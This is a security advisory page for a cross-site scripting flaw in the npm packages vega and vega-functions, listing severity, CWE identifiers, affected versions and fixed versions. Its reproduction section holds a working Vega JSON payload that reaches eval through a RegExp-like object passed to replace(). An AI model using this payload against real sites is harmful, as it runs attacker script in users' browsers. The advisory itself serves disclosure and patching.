GHSA-963h-3v39-3pqf

Suggest an improvement
Source
https://github.com/advisories/GHSA-963h-3v39-3pqf
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/03/GHSA-963h-3v39-3pqf/GHSA-963h-3v39-3pqf.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-963h-3v39-3pqf
Aliases
Published
2025-03-27T18:00:24Z
Modified
2025-03-27T18:08:39.051781Z
Severity
  • 5.3 (Medium) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N CVSS Calculator
Summary
Vega vulnerable to Cross-site Scripting via RegExp.prototype[@@replace]
Details

Impact

Users running Vega/Vega-lite JSON definitions could run unexpected JavaScript code when drawing graphs, unless the library is used with the vega-interpreter.

Workarounds

POC Summary

Calling replace with a RegExp-like pattern calls RegExp.prototype[@@replace], which can then call an attacker-controlled exec function.

POC Details

Consider the function call replace('foo', {__proto__: /h/.constructor.prototype, global: false}). Since pattern has RegExp.prototype[@@replace], pattern.exec('foo') winds up being called.

The resulting malicious call looks like this:

replace(&lt;string argument>, {__proto__: /h/.constructor.prototype, exec: <function>, global: false})

Since functions cannot be returned from this, an attacker that wishes to escalate to XSS must abuse event.view to gain access to eval.

Reproduction steps

{"$schema":"https://vega.github.io/schema/vega/v5.json","signals":[{"name":"a","on":[{"events":"body:mousemove{99999}","update":"replace('alert(1)',{__proto__:/h/.constructor.prototype,exec:event.view.eval,global:false})"}]}]}
Database specific
{
    "github_reviewed_at": "2025-03-27T18:00:24Z",
    "cwe_ids": [
        "CWE-79",
        "CWE-87"
    ],
    "nvd_published_at": "2025-03-27T14:15:54Z",
    "severity": "MODERATE",
    "github_reviewed": true
}
References

Affected packages

npm / vega

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
5.32.0

npm / vega-functions

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
5.17.0